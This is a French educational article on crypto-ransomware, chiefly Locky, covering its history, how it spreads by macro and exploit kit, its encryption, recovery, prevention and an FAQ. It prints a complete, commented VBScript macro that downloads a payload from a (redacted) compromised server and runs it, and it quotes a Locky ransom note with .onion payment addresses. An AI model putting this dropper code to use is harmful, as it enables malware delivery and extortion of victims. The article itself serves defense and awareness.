Qu’est ce qu’un Ransomware (ou Rançongiciel) ?
Un ransomware (rançongiciel) est un programme qui empêche l’utilisateur d’avoir accès à ses fichiers et demande en échange une rançon. Les ransomware « classiques » se lancent habituellement avec le système et empêchent l’utilisateur d’accéder à son bureau. Si celui-ci ne paye pas dans un certain laps de temps, les fichiers sont effacés. Un crypto ransomware ou cryptoware chiffre les fichiers de l’utilisateur et demande à l’utilisateur de payer pour obtenir un programme qui permettra à celui-ci de procéder au déchiffrement des fichiers.
Histoire de Ransomware
Les ransomware, à savoir les logiciels demandeurs de rançon existent depuis fort longtemps (AIDS Trojan, 1989) mais n’ont eu que fort peu d’impact. Leurs moyens de propagation étaient peu sophistiqués et leur routine de chiffrement peu efficace. Toutefois, l’année 2013 marque leur retour avec l’arrivée sur le marché du malware CryptoLocker. Celui-ci se distinguait de ses prédécesseurs par l’utilisation d’une routine de chiffrement robuste et utilisait le botnet Zeus pour se propager. Dans le reste de cet article, nous nous intéresserons aux spécifiquement aux crypto-ransomware actuels, plus précisément à Locky.
Méthode de propagation
Macros
La plupart du temps, l’infection se présente sous la forme d’une pièce jointe attachée à un email. Il s’agit la plupart du temps d’un document Word ou Excel (respectivement .doc et .xls).
Ces documents contiennent une macro, qui sera exécutée dès l’ouverture du document. Ci-dessous un exemple commenté :
' Location of the payload (hacked WordPress setup). Multiple URls can be present
url = "http://[redacted]/wp-includes/certificates/xh3uc"
' Name of the file to be created.
fileName = "temp.pif"
' Obtaining local computer %temp% path using the Environment collection (Shell object)
pathName = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%temp%")
pathName = pathName & '\'
' Creation of a XMLHttpRequest object (XML request using HTTP) used to download the payload
dim webRequest: Set webRequest = createobject("Microsoft.XMLHTTP")
' Creation of a Stream Object (ADO) used to manipulate the stream
dim stream: Set stream = createobject("Adodb.Stream")
' Synchronous connexion established with remote server using GET HTTP method
webRequest.Open "GET", url, False
' HTTP request to the server
webRequest.Send
with stream
.type = 1 ' Binary data
.open ' Creation and opening of a new Stream object
.write webRequest.responseBody ' Write the response body (in this case, the payload) in the new object
.savetofile pathName & fileName, 2 ' Save the binary contents of the stream to a file
' Overwrites the file if it already exists
end with
' Creation of a new Application object and execution of the payload using its contexts.
Set payload = CreateObject("Shell.Application")
payload.Open pathName & fileName
Cette macro est exécutée lors de l’ouverture du document. Elle télécharge le crypto-ransomware en tant que tel (charge utile) sur un serveur opéré par l’attaquant puis l’exécute. Dans certains cas, le ransomware fera une copie du document sur les répertoires partagés de l’ordinateur.
Exploits
Les exploits kits utilisent des vulnérabilités présentes dans les navigateurs pour le forcer à télécharger et exécuter le crypto-ransomware. Aucune action de l’utilisateur n’est requise.
Il peut également utiliser l’ingénierie sociale pour « tricker » l’utilisateur à installer l’infection en se présentant, par exemple, comme un outil légitime.
Chiffrement et demande de rançon
Une fois le crypto-ransomware exécuté, celui-ci va contacter le serveur de l’attaquant de manière à gérer une paire de clés cryptographiques unique. L’une d’elles, la clé publique servira à chiffrer les documents personnels de l’utilisateur et sera déposée sur l’ordinateur de la victime. L’autre, la clé privée sera entreposée sur le serveur de l’attaquant et permettra de déchiffrer les fichiers. Il s’agit de chiffrement asymétrique. Les fichiers chiffrés sont ainsi rendus complètement illisibles.
Une fois cette étape terminée, le malware efface les points de restauration système ainsi que le contenu du Shadow Copy qui pourraient contenir une copie des fichiers. Puis, il créé un fichier indiquant à l’utilisateur que ses fichiers ont été chiffrés et contenant un lien vers un conteneur bitcoin où la rançon doit être versée (habituellement entre 0.5 et 1.5 bitcoins).
@@@@@@@ NOT YOUR LANGUAGE? USE https://translate.google.com
@@@@@@@ What happened to your files ?
@@@@@@@ All of your files were protected by a strong encryption with RZA4096
@@@@@@@ More information about the en-Xryption keys using RZA4096 can be found here: http://en.wikipedia.org/wiki/RSA_(cryptosystem)
@@@@@@@ How did this happen ?
@@@@@@@ !!! Specially for your PC was generated personal RZA4096 Key , both publik and private.
@@@@@@@ !!! ALL YOUR FILES were en-Xrypted with the publik key, which has been transferred to your computer via the Internet.
@@@@@@@ !!! Decrypting of your files is only possible with the help of the privatt key and de-crypt program , which is on our Secret Server
@@@@@@@ What do I do ?
@@@@@@@ So , there are two ways you can choose: wait for a miracle and get your price doubled, or start obtaining BITCOIN NOW! , and restore your data easy way
@@@@@@@ If You have really valuable data, you better not waste your time, because there is no other way to get your files, except make a payment
Your personal ID: [Redacted]
For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:
1 - http://gvxtkcbjnslm5vnt.onion.to
2 - http://gvxtkcbjnslm5vnt.onion.cab
3 - http://gvxtkcbjnslm5vnt.onion.city
If for some reasons the addresses are not available, follow these steps:
1 - Download and install tor-browser: http://www.torproject.org/projects/torbrowser.html.en
2 - After a successful installation, run the browser
3 - Type in the address bar - http://gvxtkcbjnslm5vnt.onion
4 - Follow the instructions on the site
Be sure to copy your personal ID and the instruction link to your notepad not to lose them.
Le bitcoin a grandement favorisé les ransomware car les auteurs peuvent beaucoup plus facilement rester anonymes. En effet, aucune pièce d’identité n’est nécessaire pour ouvrir un compte. Ici, une capture d’écran du site gvxtkcbjnslm5vnt.onion, accessible uniquement via le réseau Tor.
Si l’utilisateur paye, il reçoit habituellement un programme contenant la clé privée qui lui permet de déchiffrer les fichiers. En revanche, s’il attend trop longtemps, la clé privée est supprimée du serveur, rendant tout déchiffrement impossible.
Désinfection / récupération des fichiers chiffrés
Il n’existe pas de solution universelle.
Il est ainsi conseillé de soumettre l’un d’entre eux à ID Ransomware qui déterminera de quelle variante du malware il s’agit et proposera, s’il existe, un outil pour tenter de déchiffrer les fichiers.
Prévention
Les antivirus classiques ne sont pas réellement efficaces contre ce genre de menaces. En effet, il arrive souvent que lorsque l’infection est détectée, la plupart voir la totalité des données soit déjà chiffrée. Il existe cependant des outils dédiés à cet usage. On peut notamment citer Malwares anti-ransomware et Bitdefender anti-ransomware.
Ceux-ci utilisent une approche comportementale pour repérer les crypto-ransomware. Plus spécifiquement, ils observent les processus en cours d’exécution et si l’un d’eux modifie les entêtes de plusieurs fichiers, il est stoppé. Cependant, il ne faut pas perdre de vue qu’ils ne sont pas infaillibles et que des variantes spécialement conçues pour les contrer ne vont certainement pas tarder à voir le jour.
Une autre approche, plus contraignante mais plus efficace, est de définir des emplacement protégés dans le système de fichiers où les processsus suspicieux ne peuvent pas écrire, qui se retrouvent ainsi protégées contre n’importe quel ransomware. Cette fonctionnalité a été ajoutée dans RogueKiller V14, sous la forme du module de protection DocLock.
Une bonne pratique consiste également à maintenir ses logiciels à jour pour se prémunir des infections utilisant des exploits et de ne pas autoriser l’exécution des macros automatiquement. Conserver une copie de ses documents personnels est également fortement recommandé.
Conclusion
Les ransomware sont appelés à se développer encore davantage dans le futur. En effet, ceux-ci sont fort rentables et relativement simples à développer. Les solutions logicielles (c.f. section ci-dessus) existent mais ne sont de loin pas une panacée. La meilleure solution reste donc de sauvegarder régulièrement ses données sur un support externe de manière à avoir une copie de celles-ci en tout temps. Cette copie pourrait également servir en cas de crash du disque dur, ce qui peut arriver en tout temps et où il y a de fortes probabilités que les données soient totalement irrécupérables.
FAQ
- Dois-je payer ?
Il est recommandé de ne pas céder au chantage. En effet, cela ne fait qu’encourager les auteurs et il arrive parfois que même après avoir payé, les fichiers ne puissent pas être déchiffrés. Cependant, si ces données vous sont vraiment précieuses et que toutes tentatives de récupération ont échoué, c’est une solution.
- Je ne compte pas payer. Puis-je supprimer ces fichiers chiffrés ?
Il est conseillé de conserver les données chiffrées car un outil de déchiffrement pourrait voir le jour dans un avenir plus ou moins lointain.
- Pourquoi ne pas développer un outil de déchiffrement pour chaque variante existante ?
Le développement des outils de déchiffrement rendu disponible par les éditeurs antivirus est rendu possible par la découverte de failles dans certains mécanismes de chiffrement ou encore par l’obtention des clés privées après la saisie d’un serveur.
Ceci ne concerne cependant que peu de crypto-ransomware.
- J’ai du temps et un ordinateur puissant. Ne puis-je pas essayer de trouver la clé de déchiffrement par attaque par force brute ?
Les crypto-ransomwares récents utilisent habituellement des clés 2048-bit RSA ou supérieures. Les experts s’accordent à dire que celles-ci sont impossible à cracker.
- Pourquoi ne pas saisir les serveurs / les comptes bitcoins utilisés par les attaquants ?
La justice s’emploie à cela mais c’est un processus long et compliqué. De même, ceux-ci utilisent souvent des machines piratées. Toutefois, l’Opération Tovar a montré que c’était possible en mettant un terme à l’infection CryptoLocker et en récupérant la base de données contenant les clés privées.